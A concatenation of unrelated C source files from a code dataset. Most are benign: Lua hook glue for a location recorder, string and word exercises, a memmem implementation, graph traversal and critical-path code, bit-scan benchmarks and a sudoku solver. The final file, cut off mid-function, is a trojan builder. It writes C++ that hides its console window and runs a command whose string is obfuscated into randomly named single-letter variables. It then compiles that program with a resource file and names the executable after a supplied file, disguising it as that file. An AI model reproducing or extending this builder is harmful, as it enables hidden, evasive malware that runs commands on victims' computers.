/* unsupported */
break;
}
lua_pop(ld->L, 1);
}
}
lua_settop(ld->L, 0);
return (obj);
}
void hooks_hook(struct udata *ud, char *topic, JsonNode *fullo)
{
do_hook("otr_hook", ud, topic, fullo);
hooks_hooklet(ud, topic, fullo);
}
/*
* This hook is invoked through fences.c when we determine that a movement
* into or out of a geofence has caused a transition.
* json is the original JSON we received enhanced with stuff from recorder.
*/
void hooks_transition(struct udata *ud, char *user, char *device, int event, char *desc, double wplat, double wplon, double lat, double lon, char *topic, JsonNode *json, long meters)
{
JsonNode *j;
if ((j = json_find_member(json, "_type")) != NULL) {
json_delete(j);
}
json_append_member(json, "_type", json_mkstring("transition"));
json_append_member(json, "event",
event == ENTER ? json_mkstring("enter") : json_mkstring("leave"));
json_append_member(json, "desc", json_mkstring(desc));
json_append_member(json, "wplat", json_mknumber(wplat));
json_append_member(json, "wplon", json_mknumber(wplon));
json_append_member(json, "dist", json_mknumber(meters));
olog(LOG_DEBUG, "**** Lua hook for %s %s\n",
event == ENTER ? "ENTER" : "LEAVE", desc);
do_hook("otr_transition", ud, topic, json);
}
/*
* If the Lua function otr_revgeo() is defined, invoke that to obtain a result
* of reverse geocoding. The function name proper (otr_revgeo) is contained in
* `luafunc'
*/
JsonNode *hook_revgeo(struct udata *ud, char *luafunc, char *topic, char *user, char *device, double lat, double lon)
{
struct luadata *ld = ud->luadata;
JsonNode *obj = NULL;
debug(ud, "in hook_revgeo()");
if (ld == NULL || !ld->script)
return (0);
lua_settop(ld->L, 0);
lua_getglobal(ld->L, luafunc);
if (lua_type(ld->L, -1) != LUA_TFUNCTION) {
debug(ud, "no %s function in Lua file: returning", luafunc);
return (0);
}
lua_pushstring(ld->L, topic); /* arg1 */
lua_pushstring(ld->L, user); /* arg2 */
lua_pushstring(ld->L, device); /* arg3 */
lua_pushnumber(ld->L, lat); /* arg4 */
lua_pushnumber(ld->L, lon); /* arg5 */
/* Invoke Lua function with our args */
/* return value is a TABLE; all else is ignored */
if (lua_pcall(ld->L, 5, 1, 0)) {
olog(LOG_ERR, "Failed to run hook_revgeo in Lua: %s", lua_tostring(ld->L, -1));
exit(1);
}
/* Verify we have a table and create a JSON object from it. */
if (lua_istable(ld->L, -1)) {
obj = json_mkobject();
int t = -2;
lua_pushnil(ld->L); /* first key */
while (lua_next(ld->L, t) != 0) {
const char *key, *val;
size_t len;
int type, bf, nil;
lua_Number d;
key = lua_tolstring(ld->L, -2, &len);
type = lua_type(ld->L, -1);
// printf("%s len=%zd vtype=%d\n", key, len, type);
switch (type) {
case LUA_TNUMBER:
d = lua_tonumber(ld->L, -1);
json_append_member(obj, key, json_mknumber(d));
break;
case LUA_TSTRING:
val = lua_tostring(ld->L, -1);
json_append_member(obj, key, json_mkstring(val));
break;
case LUA_TNIL:
nil = lua_isnil(ld->L, -1);
if (nil)
json_append_member(obj, key, json_mknull());
break;
case LUA_TBOOLEAN:
bf = lua_toboolean(ld->L, -1);
json_append_member(obj, key, json_mkbool(bf));
break;
default:
/* unsupported */
break;
}
lua_pop(ld->L, 1);
}
}
lua_settop(ld->L, 0);
return (obj);
}
/*
* --- Here come the functions we provide to Lua scripts.
*/
static int otr_log(lua_State *lua)
{
const char *str;
if (lua_gettop(lua) >= 1) {
str = lua_tostring(lua, 1);
olog(LOG_INFO, "%s", str);
lua_pop(lua, 1);
}
return 0;
}
/*
* otr.strftime(format, seconds)
* Perform a strtime(3) for Lua with the specified format and
* seconds, and return the string result to Lua. As a special
* case, if `seconds' is negative, use current time.
*/
static int otr_strftime(lua_State *lua)
{
const char *fmt;
long secs;
struct tm *tm;
char buf[BUFSIZ];
if (lua_gettop(lua) >= 1) {
fmt = lua_tostring(lua, 1);
if ((secs = lua_tonumber(lua, 2)) < 1)
secs = time(0);
if ((tm = gmtime(&secs)) != NULL) {
strftime(buf, sizeof(buf), fmt, tm);
lua_pushstring(lua, buf);
return (1);
}
}
return (0);
}
/*
* Requires two string arguments: key, value
* These are written into the named LMDB database
* called `luadb'.
*/
static int otr_putdb(lua_State *lua)
{
const char *key, *value;
int rc = 0;
if (lua_gettop(lua) >= 1) {
key = lua_tostring(lua, 1);
value = lua_tostring(lua, 2);
rc = gcache_put(LuaDB, (char *)key, (char *)value);
// olog(LOG_DEBUG, "LUA_PUT (%s, %s) == %d\n", key, value, rc);
}
return (rc);
}
static int otr_getdb(lua_State *lua)
{
char buf[BUFSIZ];
const char *key;
int rc = 0, blen;
if (lua_gettop(lua) >= 1) {
key = lua_tostring(lua, 1);
blen = gcache_get(LuaDB, (char *)key, buf, sizeof(buf));
if (blen < 0)
memset(buf, 0, sizeof(buf));
// printf("K=[%s], blen=%d\n", key, blen);
lua_pushstring(lua, buf);
rc = 1;
}
return (rc);
}
#ifdef WITH_MQTT
/*
* Requires two string arguments: topic, payload
* and two numeric args: qos and retain
* Will be published via MQTT to the Recorder's
* open connection.
*/
int otr_publish(lua_State *lua)
{
const char *topic, *payload;
int qos = 0, retain = 0;
int rc = 0;
if (lua_gettop(lua) >= 1) {
topic = lua_tostring(lua, 1);
payload = lua_tostring(lua, 2);
qos = lua_tonumber(lua, 3);
retain = lua_tonumber(lua, 4);
if (MQTTconn == NULL) {
olog(LOG_WARNING, "otr_publish(%s, %s, %d, %d): NULL MQTT connection\n",
topic, payload, qos, retain);
} else {
rc = mosquitto_publish(MQTTconn, NULL, topic,
strlen(payload), payload, qos, retain);
olog(LOG_DEBUG, "otr_publish(%s, %s, %d, %d) == %d\n", topic, payload, qos, retain, rc);
}
}
return (rc);
}
#endif
#endif /* WITH_LUA */
|
the_stack_data/74243.c | #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <assert.h>
#define MAXLEN 100
typedef char TWord[MAXLEN];
typedef struct WordsArray {
TWord *words;
size_t len;
} WordsArray;
int is_ordered_word(const TWord word) {
assert(word != NULL);
int i;
for (i = 0; word[i] != '\0'; i++)
if (word[i] > word[i + 1] && word[i + 1] != '\0')
return 0;
return 1;
}
void array_append(WordsArray *words_array, const TWord new_word) {
assert(words_array != NULL);
assert(new_word != NULL);
assert((words_array->len == 0) == (words_array->words == NULL));
words_array->len++;
words_array->words = realloc(words_array->words,
words_array->len * sizeof(words_array->words[0]));
if (words_array->words == NULL)
exit(EXIT_FAILURE);
strcpy(words_array->words[words_array->len-1], new_word);
}
void array_free(WordsArray *words_array) {
assert(words_array != NULL);
free(words_array->words);
words_array->words = NULL;
words_array->len = 0;
}
void list_print(WordsArray *words_array) {
assert(words_array != NULL);
size_t i;
for (i = 0; i < words_array->len; i++)
printf("\n%s", words_array->words[i]);
}
int main() {
FILE *fp = fopen("unixdict.txt", "r");
if (fp == NULL)
return EXIT_FAILURE;
WordsArray words;
words.len = 0;
words.words = NULL;
TWord line;
line[0] = '\0';
unsigned int max_len = 0;
while (fscanf(fp, "%99s\n", line) != EOF) { // 99 = MAXLEN - 1
if (strlen(line) > max_len && is_ordered_word(line)) {
max_len = strlen(line);
array_free(&words);
array_append(&words, line);
} else if (strlen(line) == max_len && is_ordered_word(line)) {
array_append(&words, line);
}
}
fclose(fp);
list_print(&words);
array_free(&words);
return EXIT_SUCCESS;
}
|
the_stack_data/68888189.c | #include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#define BUF_SIZE 1024
bool is_vowel(char letter);
int determineLength(char *str);
int copy_non_vowels(int num_chars, char* in_buf, char* out_buf);
void disemvowel(FILE* inputFile, FILE* outputFile);
int main(int argc, char *argv[]) {
FILE *inputFile;
FILE *outputFile;
// If there are no files provided, program will assume standard input is being provided.
// If there is one file providedm, program will take data from the file and output to standard output
// If two files are provided, program will take data from input file and write it to the output file
// If an invalid number of arguments are provided, program will get mad and quit
if(argc == 1) {
inputFile = stdin;
outputFile = stdout;
disemvowel(inputFile, outputFile);
} else if(argc == 2) {
inputFile = fopen(argv[1], "r");
outputFile = stdout;
disemvowel(inputFile, outputFile);
} else if(argc == 3) {
// Open files specificed in arguments
inputFile = fopen(argv[1], "r");
outputFile = fopen(argv[2], "w");
disemvowel(inputFile, outputFile);
} else {
printf("Wrong number of inputs! Try again!\n");
exit(-1);
}
// Close the input and output files
fclose(inputFile);
fclose(outputFile);
return 0;
}
// Takes the input and output files and reads the input file
// and feeds that to copy_non_vowels and then writes the results
// to the out_buf
void disemvowel(FILE* inputFile, FILE* outputFile) {
char in_buf[BUF_SIZE];
char out_buf[BUF_SIZE];
// Initial read of the input
int numRead = fread(in_buf, sizeof(char), BUF_SIZE, inputFile);
// As long as there is data to read, disemvowel with copy_non_vowels,
// write it to the output file and find the number of items read
while(numRead > 0) {
int n = copy_non_vowels(numRead, in_buf, out_buf);
fwrite(out_buf, sizeof(char), n, outputFile);
numRead = fread(in_buf, sizeof(char), BUF_SIZE, inputFile);
}
}
// Takes the in_buf, removes the vowels and puts it in the out_buf
int copy_non_vowels(int num_chars, char* in_buf, char* out_buf) {
int j = 0;
// Loops through the in_buf and if in_buf[i]
// isn't a vowel, add it to the out_buf
for(int i = 0; i < num_chars; i++) {
if (!(is_vowel(in_buf[i]))) {
out_buf[j] = in_buf[i];
j++;
}
}
return j;
}
// Takes a char and determines if it's a vowel
bool is_vowel(char letter) {
letter = tolower(letter);
switch(letter) {
case 'a':
case 'e':
case 'i':
case 'o':
case 'u':
return true;
default :
return false;
}
}
|
the_stack_data/156392687.c | #define _GNU_SOURCE
#include <string.h>
#include <stdint.h>
static char *twobyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
{
uint16_t nw = n[0]<<8 | n[1], hw = h[0]<<8 | h[1];
for (h+=2, k-=2; k; k--, hw = hw<<8 | *h++)
if (hw == nw) return (char *)h-2;
return hw == nw ? (char *)h-2 : 0;
}
static char *threebyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
{
uint32_t nw = n[0]<<24 | n[1]<<16 | n[2]<<8;
uint32_t hw = h[0]<<24 | h[1]<<16 | h[2]<<8;
for (h+=3, k-=3; k; k--, hw = (hw|*h++)<<8)
if (hw == nw) return (char *)h-3;
return hw == nw ? (char *)h-3 : 0;
}
static char *fourbyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
{
uint32_t nw = n[0]<<24 | n[1]<<16 | n[2]<<8 | n[3];
uint32_t hw = h[0]<<24 | h[1]<<16 | h[2]<<8 | h[3];
for (h+=4, k-=4; k; k--, hw = hw<<8 | *h++)
if (hw == nw) return (char *)h-4;
return hw == nw ? (char *)h-4 : 0;
}
#define MAX(a,b) ((a)>(b)?(a):(b))
#define MIN(a,b) ((a)<(b)?(a):(b))
#define BITOP(a,b,op) \
((a)[(size_t)(b)/(8*sizeof *(a))] op (size_t)1<<((size_t)(b)%(8*sizeof *(a))))
static char *twoway_memmem(const unsigned char *h, const unsigned char *z, const unsigned char *n, size_t l)
{
size_t i, ip, jp, k, p, ms, p0, mem, mem0;
size_t byteset[32 / sizeof(size_t)] = { 0 };
size_t shift[256];
/* Computing length of needle and fill shift table */
for (i=0; i<l; i++)
BITOP(byteset, n[i], |=), shift[n[i]] = i+1;
/* Compute maximal suffix */
ip = -1; jp = 0; k = p = 1;
while (jp+k<l) {
if (n[ip+k] == n[jp+k]) {
if (k == p) {
jp += p;
k = 1;
} else k++;
} else if (n[ip+k] > n[jp+k]) {
jp += k;
k = 1;
p = jp - ip;
} else {
ip = jp++;
k = p = 1;
}
}
ms = ip;
p0 = p;
/* And with the opposite comparison */
ip = -1; jp = 0; k = p = 1;
while (jp+k<l) {
if (n[ip+k] == n[jp+k]) {
if (k == p) {
jp += p;
k = 1;
} else k++;
} else if (n[ip+k] < n[jp+k]) {
jp += k;
k = 1;
p = jp - ip;
} else {
ip = jp++;
k = p = 1;
}
}
if (ip+1 > ms+1) ms = ip;
else p = p0;
/* Periodic needle? */
if (memcmp(n, n+p, ms+1)) {
mem0 = 0;
p = MAX(ms, l-ms-1) + 1;
} else mem0 = l-p;
mem = 0;
/* Search loop */
for (;;) {
/* If remainder of haystack is shorter than needle, done */
if (z-h < l) return 0;
/* Check last byte first; advance by shift on mismatch */
if (BITOP(byteset, h[l-1], &)) {
k = l-shift[h[l-1]];
if (k) {
if (k < mem) k = mem;
h += k;
mem = 0;
continue;
}
} else {
h += l;
mem = 0;
continue;
}
/* Compare right half */
for (k=MAX(ms+1,mem); k<l && n[k] == h[k]; k++);
if (k < l) {
h += k-ms;
mem = 0;
continue;
}
/* Compare left half */
for (k=ms+1; k>mem && n[k-1] == h[k-1]; k--);
if (k <= mem) return (char *)h;
h += p;
mem = mem0;
}
}
void *memmem(const void *h0, size_t k, const void *n0, size_t l)
{
const unsigned char *h = h0, *n = n0;
/* Return immediately on empty needle */
if (!l) return (void *)h;
/* Return immediately when needle is longer than haystack */
if (k<l) return 0;
/* Use faster algorithms for short needles */
h = memchr(h0, *n, k);
if (!h || l==1) return (void *)h;
k -= h - (const unsigned char *)h0;
if (k<l) return 0;
if (l==2) return twobyte_memmem(h, k, n);
if (l==3) return threebyte_memmem(h, k, n);
if (l==4) return fourbyte_memmem(h, k, n);
return twoway_memmem(h, h+k, n, l);
}
|
the_stack_data/4414.c | #include <stdint.h>
#include <inttypes.h>
#include <stdlib.h>
#include <malloc.h>
#include <ctype.h>
#include <string.h>
#include <stdarg.h>
#include <stdio.h>
#include <stddef.h>
typedef void *data_t;
typedef int weight_t;
typedef int index_t; //顶点的索引或数量类型
typedef int status;
#ifndef USE_IN_DEGREE
#define USE_IN_DEGREE
#endif
//
// #undef USE_IN_DEGREE //注释这一行来 决定 是否在每个顶点处记录入度
//
typedef struct edge
{
index_t dest_vertex;
weight_t weight;
struct edge *next;
} Edge;
typedef struct vertex
{
#ifdef USE_IN_DEGREE
index_t in_degree;
#endif
data_t data;
Edge *link;
} Vertex;
#define MAX_VERTEX_NUM 1024
#ifndef DEBUG_DYNAMIC_MEM_CHECK
#define DEBUG_DYNAMIC_MEM_CHECK
#endif
#ifdef DEBUG_DYNAMIC_MEM_CHECK
int g_alloc_count = 0;
int g_free_count = 0;
#endif
#define new_edge \
(Edge *)malloc(sizeof(Edge)); \
{ \
g_alloc_count++; \
} \
while (0)
#define new_vertex_array(n) \
(Vertex *)malloc((n) * sizeof(Vertex)); \
{ \
g_alloc_count++; \
} \
while (0)
#ifndef MY_DATA_TYPE
#define MY_DATA_TYPE
#endif
#ifdef MY_DATA_TYPE
#define MAX_STR_LEN 128
void fill_data(Vertex *vp, FILE *fp)
{ //Overwrite
vp->data = (char *)malloc(MAX_STR_LEN * sizeof(char));
#ifdef DEBUG_DYNAMIC_MEM_CHECK
g_alloc_count++;
#endif
fscanf(fp, "%s\n", (char *)(vp->data)); // 这个\n加不加都行
// fgets((char *)(vp->data), MAX_STR_LEN, fp);
}
void visit_data(Vertex *vp)
{
fprintf(stderr, "%s ", (char *)(vp->data)); //必须强制转换,因为用void*泛型时,这里不知道是什么指针,无法解引用
}
#endif
Vertex *create_graph(index_t vertex_num, index_t edge_num, FILE *fp)
{
index_t i, v_start, v_end;
weight_t weight;
Edge *p, *q;
Vertex *ret = new_vertex_array(vertex_num);
for (i = 0; i < vertex_num; ++i)
{
#ifdef USE_IN_DEGREE
ret[i].in_degree = 0; //默认为0
#endif
fill_data(ret + i, fp);
ret[i].link = NULL;
}
for (i = 0; i < edge_num; ++i)
{
fscanf(fp, "%d %d %d ", &v_start, &v_end, &weight);
p = new_edge;
p->dest_vertex = v_end;
p->weight = weight;
p->next = NULL;
if (ret[v_start].link == NULL)
ret[v_start].link = p; //第v_start个链表只有头节点
else
{
q = ret[v_start].link;
while (q->next) //找到末尾
q = q->next;
q->next = p;
}
#ifdef USE_IN_DEGREE
ret[v_end].in_degree++;
#endif
}
return ret;
}
void my_free(void *p)
{
free(p);
#ifdef DEBUG_DYNAMIC_MEM_CHECK
g_free_count++;
#endif
}
void destroy_graph(Vertex *vp, index_t vertex_num)
{
index_t i;
Edge *p, *q;
for (i = 0; i < vertex_num; ++i)
{
p = vp[i].link;
if (p != NULL)
{
do
{
q = p;
p = p->next;
my_free(q);
} while (p != NULL);
}
my_free(vp[i].data);
}
my_free(vp);
}
void travel_depth_first(Vertex *vp, index_t vertex_num, index_t edge_num, void (*visit)(Vertex *))
{
index_t i, top = -1;
Edge *stack_edge_p[edge_num];
int stack_pop_flag = 0;
int visited[vertex_num]; //用变量定义长度, 不可同时赋初值
memset(visited, 0, sizeof(visited));
for (i = 0; i < vertex_num; ++i)
{
if (visited[i] == 0)
{
visit(vp + i);
visited[i] = 1;
Edge *adj_edge_p = vp[i].link;
index_t cur_v_index = i;
do
{
while (adj_edge_p != NULL)
{
if (!stack_pop_flag) //退栈得到的边,不需要重定位到顶点的第一附属边,
adj_edge_p = vp[cur_v_index].link;
while (adj_edge_p != NULL && visited[adj_edge_p->dest_vertex]) //如果已经访问过了, 就跳过
adj_edge_p = adj_edge_p->next;
if (adj_edge_p != NULL)
{
visit(vp + (adj_edge_p->dest_vertex)); //碰见一个边(它指向的顶点没访问过)就访问
visited[adj_edge_p->dest_vertex] = 1; //标记
stack_edge_p[++top] = adj_edge_p; //入栈
stack_pop_flag = 0; //入栈标志
cur_v_index = adj_edge_p->dest_vertex;
}
};
if (top >= 0)
{ //防止出现最后一次退栈访问-1
adj_edge_p = stack_edge_p[top--]->next; //出栈
stack_pop_flag = 1; //出栈标志
}
} while (!(top < 0 && adj_edge_p == NULL));
}
}
}
void travel_breadth_first(Vertex *vp, index_t vertex_num, index_t edge_num, void (*visit)(Vertex *))
{
index_t i, front = -1, rear = -1;
int visited[edge_num];
Edge *cur_edge_p, *queue_edge_p[edge_num];
memset(visited, 0, sizeof(visited));
for (i = 0; i < vertex_num; ++i)
{
if (visited[i] == 0)
{
visit(vp + i);
visited[i] = 1;
queue_edge_p[++rear] = vp[i].link;
while (rear > front)
{
cur_edge_p = queue_edge_p[++front];
while (cur_edge_p)
{
if (visited[cur_edge_p->dest_vertex] == 0)
{
visit(vp + cur_edge_p->dest_vertex);
visited[cur_edge_p->dest_vertex] = 1;
queue_edge_p[++rear] = vp[cur_edge_p->dest_vertex].link; //当前被访问顶点的紧接第一边入队
}
cur_edge_p = cur_edge_p->next;
}
}
}
}
}
#ifdef USE_IN_DEGREE
status topological_sort(Vertex *vp, index_t vertex_num, Vertex (**ret)[vertex_num])
//Activity On Vertex Network
{ //返回0说明有回路,不成立. 非0说明成功
//巧妙之处在于,原地借助了入度已经变成了0的空间,作为栈
Edge *p;
index_t i, j, k, top = -1;
for (i = 0; i < vertex_num; i++)
{
if (vp[i].in_degree == 0)
{
vp[i].in_degree = top;
top = i;
}
}
for (i = 0; i < vertex_num; ++i)
{
if (top == -1)
return 0;
else
{
j = top;
top = vp[top].in_degree;
ret[i] = vp + j; //输出个这个节点的地址
p = vp[j].link;
while (p != NULL)
{
k = p->dest_vertex;
if (--(vp[k].in_degree) == 0) //以这个边为终点的边的入度要减少
{ //新的入度为0的顶点要入栈
vp[k].in_degree = top;
top = k;
}
p = p->next;
}
}
}
return 1;
}
#endif
#ifdef USE_IN_DEGREE
status critical_path(Vertex *vp, index_t vertex_num, index_t edge_num, Vertex (*(*ret))[vertex_num])
//Activity On Edge Network,顶点代表事件,边代表活动
{
memset(ret, 0, vertex_num * sizeof(Vertex *)); //要不要清空返回区? 清空吧
weight_t ee[vertex_num]; //事件发生最早时间,只有进入v的活动都结束了,v代表的事件才能发生,因此这个表示的是到v的最长路径和
weight_t le[vertex_num]; //事件发生最晚时间,不推迟从v出发的活动的时间,因此这个表示的是:后面节点的这个值减去路径,使得前面节点的这个值尽可能小
weight_t e[edge_num]; //活动最早开始时间,即顶点最早开始了,顶点引出的边才能开始,因此:某顶点在ee中的值,即从这点出发的每一条边在e中的值
weight_t l[edge_num]; //活动最晚开始时间,要保证以某边为结尾的顶点v(事件)的最晚发生时间不被拖后。因此le中某顶点的值,减去以该顶点为终点的边的权值,即这些边在l的值
Edge *p;
index_t i, j, k;
for (i = 0; i < vertex_num; ++i)
ee[i] = 0;
for (i = 0; i < vertex_num - 1; ++i)
{ //计算ee[]
p = vp[i].link;
while (p != NULL)
{
j = p->dest_vertex; //这句话就显示出,p是i到j的一条边
if (ee[j] < ee[i] + p->weight) //由i更新出来的累计路径和更长
ee[j] = ee[i] + p->weight;
p = p->next;
} //体会逐渐累加的感觉
}
for (i = 0; i < vertex_num; ++i)
le[i] = ee[vertex_num - 1];
for (i = vertex_num - 2; i >= 0; --i)
{
p = vp[i].link;
while (p != NULL)
{
j = p->dest_vertex;
if (le[j] - p->weight < le[i]) //使j前面的i的le尽可能小
le[i] = le[j] - p->weight;
p = p->next;
}
}
k = 0; //边的编号是从第一个顶点第一个边开始,先把第一个顶点的边算完,再算下一个顶点的
index_t ret_pos = 0;
for (i = 0; i < vertex_num - 1; ++i)
{
p = vp[i].link;
while (p != NULL)
{
e[k] = ee[i]; //顶点i引出的边
j = p->dest_vertex;
l[k] = le[j] - p->weight;
if (l[k] == e[k]) //关键活动
ret[ret_pos++] = vp + i; //输出关键路径上的顶点指针
p = p->next;
k++;
}
}
p = ((Vertex *)(ret[--ret_pos]))->link;
while (p != NULL)
{
if (p->dest_vertex == vertex_num - 1)
{
ret[++ret_pos] = vp + vertex_num - 1;
return 1;
}
p = p->next;
}
return 0;
}
#endif
void print_naive(Vertex *vp, index_t vertex_num, void (*visit)(Vertex *));
int main(int argc, char const *argv[])
{
freopen("in.txt", "r", stdin);
printf("**************************\n"); //test 1
Vertex *g1 = create_graph(9, 22, stdin);
print_naive(g1, 9, visit_data);
travel_depth_first(g1, 9, 22, visit_data);
printf("\n");
travel_breadth_first(g1, 9, 22, visit_data);
printf("\n");
destroy_graph(g1, 9);
printf("**************************\n"); //test 2
Vertex *g2 = create_graph(6, 9, stdin);
print_naive(g2, 6, visit_data);
travel_depth_first(g2, 6, 9, visit_data);
printf("\n");
travel_breadth_first(g2, 6, 9, visit_data);
printf("\n");
destroy_graph(g2, 6);
printf("**************************\n"); //test 3
Vertex *g3 = create_graph(7, 8, stdin);
print_naive(g3, 7, visit_data);
#ifdef USE_IN_DEGREE
Vertex *ret[7];
index_t i;
if (topological_sort(g3, 7, ret))
for (i = 0; i < 7; ++i)
visit_data(ret[i]);
printf("\n");
#endif
destroy_graph(g3, 7);
printf("**************************\n"); //test 4
Vertex *g4 = create_graph(7, 10, stdin);
print_naive(g4, 7, visit_data);
#ifdef USE_IN_DEGREE
Vertex *ret2[7];
if (critical_path(g4, 7, 10, ret2))
for (i = 0; ret2[i] != NULL; ++i)
{
visit_data(ret2[i]);
}
printf("\n");
#endif
destroy_graph(g4, 7);
#ifdef DEBUG_DYNAMIC_MEM_CHECK
fprintf(stderr, "g_alloc_count: %d, g_free_count: %d.\n", g_alloc_count, g_free_count);
#endif
return 0;
}
void print_naive(Vertex *vp, index_t vertex_num, void (*visit)(Vertex *))
{ //朴素打印
index_t i;
Edge *p;
for (i = 0; i < vertex_num; ++i)
{
#ifdef USE_IN_DEGREE
fprintf(stderr, "(in_deg: %d) ", vp[i].in_degree);
#endif
visit(vp + i);
p = vp[i].link;
while (p != NULL)
{
fprintf(stderr, "-> (v: %d| w: %d)", p->dest_vertex, p->weight);
p = p->next;
}
fprintf(stderr, "\n");
}
}
|
the_stack_data/6386944.c | /*
* ========================================================
*
* Filename: bingcd.c
*
* Description:
*
* Version: 1.0
* Created: 10/25/2013 06:53:42 PM
* Revision: none
* Compiler: gcc
*
* Author: liuyang1 (liuy), [email protected]
* Organization: ustc
*
* ========================================================
*/
#include <stdio.h>
#include <sys/time.h>
#define TIC {struct timeval start,stop; gettimeofday(&start,NULL);
#define TOC gettimeofday(&stop,NULL);printf("%lu sec %luusec\n",stop.tv_sec - start.tv_sec, stop.tv_usec -start.tv_usec);}
inline int
lsb32_1(unsigned long n)
{
int ret = 31;
if (n & 0x0000ffff) {
ret -=16;
n &= 0x0000ffff;
}
if (n & 0x00ff00ff) {
ret -= 8;
n &= 0x00ff00ff;
}
if (n & 0x0f0f0f0f) {
ret -= 4;
n &= 0x0f0f0f0f;
}
if (n & 0x33333333) {
ret -= 2;
n &= 0x33333333;
}
if (n & 0x55555555) {
ret -= 1;
}
return ret;
}
static unsigned long seq1[5] = { 0x0000ffff, 0x00ff00ff, 0x0f0f0f0f, 0x33333333, 0x55555555};
static unsigned long seq2[5] = { 16, 8, 4, 2, 1};
inline int
lsb32_2(unsigned long n)
{
int ret = 31;
int i;
for(i = 0; i < 5; i++){
if (n & seq1[i]){
n &= seq1[i];
ret -= seq2[i];
}
}
return ret;
}
inline int
lsb32(unsigned long n)
{
if (n == 0)
return 32;
int ret = 0;
while((n & 0x1) == 0){
n >>= 1;
ret++;
}
return ret;
}
int testlsb32(){
unsigned int i = 0;
printf("0x%08x %d\n", i, lsb32(i));
for (i = 1; i != 0; i<<=1)
printf("0x%08x %d\n", i, lsb32(i));
i = -1;
printf("0x%08x %d\n", i, lsb32(i));
return 0;
}
int testPerf(int (*func)(unsigned long)){
unsigned long i;
for (i = 0; i < 1000 * 1000 * 1000; i ++)
func(i);
return 0;
}
int main(){
printf("bit version\n");
TIC;
testPerf(lsb32);
TOC;
printf("while version\n");
TIC;
testPerf(lsb32_1);
TOC;
printf("loop bit version\n");
TIC;
testPerf(lsb32_2);
TOC;
return 0;
}
|
the_stack_data/72013540.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* solver.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mghazari <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/09/11 20:34:47 by mghazari #+# #+# */
/* Updated: 2016/09/11 23:01:05 by mghazari ### ########.fr */
/* */
/* ************************************************************************** */
int **make_backup(int **grid);
void restore_grid(int **grid, int **grid_backup);
void free_grid_mem(int **grid);
int check_all(int **grid, int x, int y, int p);
int free_grid_and_return(int **grid, int ret)
{
free_grid_mem(grid);
return (ret);
}
int rec_solver(int **grid, int x, int y, int c)
{
int i;
int stop;
int **grid_backup;
c++;
grid_backup = make_backup(grid);
if (x > 8)
return (free_grid_and_return(grid_backup, 1));
if (grid[x][y] == 0)
{
i = 0;
stop = 0;
while (++i < 10 && !stop)
{
restore_grid(grid, grid_backup);
stop = check_all(grid, x, y, i);
grid[x][y] = i;
stop = stop && rec_solver(grid, c / 9, c % 9, c);
}
return (free_grid_and_return(grid_backup, stop));
}
free_grid_mem(grid_backup);
return (rec_solver(grid, c / 9, c % 9, c));
}
|
the_stack_data/13817.c | #include <stdio.h>
int main()
{
printf("Hello World");
printf("How are you?");
printf("Have a nice day");
return 0;
}
|
the_stack_data/492977.c | /*********************************************************
* From C PROGRAMMING: A MODERN APPROACH, Second Edition *
* By K. N. King *
* Copyright (c) 2008, 1996 W. W. Norton & Company, Inc. *
* All rights reserved. *
* This program may be freely distributed for class use, *
* provided that this copyright notice is retained. *
*********************************************************/
/* pun.c (Chapter 2, page 10) */
#include <stdio.h>
int main() {
printf("To C, or not to C: that is the question.\n");
// To C, or not to C: that is the question.
return 0;
}
|
the_stack_data/1004440.c | #include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define SOURCE_CODE "#include <iostream>\n#include <windows.h>\n#include <string>\nint main(int argc, char *argv[])\n{\nShowWindow(GetConsoleWindow(), SW_HIDE);\nsystem("
void get(char *prompt, char *str, int size)
{
printf("%s", prompt);
fgets(str, size, stdin);
if (str[strlen(str) - 1] == '\n')
str[strlen(str) - 1] = '\0';
fflush(stdin);
}
void compile(char *compiled_file, char *first_file_provided, char *type)
{
char ch;
char cmd[2000];
printf("Creating %s ...\n", first_file_provided);
strcpy(cmd, "windres RES/RC/res_");
strcat(cmd, type);
strcat(cmd, ".rc -O coff -o RES/RC/res_TMP");
system(cmd);
sleep(3);
cmd[0] = '\0';
strcat(cmd, "start /MIN g++ -static ");
strcat(cmd, compiled_file);
strcat(cmd, " RES/RC/res_TMP -o OUTPUT/");
strcat(cmd, first_file_provided);
strcat(cmd, ".exe");
system(cmd);
sleep(3);
remove(compiled_file);
remove("RES/RC/res_TMP");
}
char *generateRandomString(char *string, const int length)
{
static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
for (int i = 0; i < length; ++i)
{
string[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
}
string[length] = 0;
return string;
}
void obfuscate(char *tmp_file_name, char *cmd_non_obfuscate)
{
FILE *c_TMP;
int i = 0;
int j = 0;
int k = 0;
char cmd[100][10000];
char source_code[10000];
char random_variable[2000];
char alphabet[100] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 .-><:'()/&^";
source_code[0] = '\0';
strcat(source_code, "#include <iostream>\n#include <windows.h>\n#include <string>\nint main(int argc, char *argv[])\n{\nShowWindow(GetConsoleWindow(), SW_HIDE);\n");
c_TMP = fopen(tmp_file_name, "w+");
fputs(source_code, c_TMP);
source_code[0] = '\0';
while (i != strlen(alphabet))
{
char letter[2] = {alphabet[i], '\0'};
strcat(source_code, "std::string ");
strcat(source_code, generateRandomString(random_variable, rand() % 50 + 1));
strcat(source_code, " = \"");
strcat(source_code, letter);
strcat(source_code, "\";");
strcat(source_code, "\n");
strcpy(cmd[i], random_variable);
i++;
}
fputs(source_code, c_TMP);
source_code[0] = '\0';
strcat(source_code, "system((");
while (k != strlen(cmd_non_obfuscate))
{
char letter[2] = {cmd_non_obfuscate[k], '\0'};
for (j = 0; j < strlen(alphabet); j++)
{
char alpha_letter[2] = {alphabet[j], '\0'};
if (letter[0] == alpha_letter[0])
{
strcat(source_code, cmd[j]);
strcat(source_code, "+");
}
}
k++;
}
source_code[strlen(source_code) - 1] = '\0';
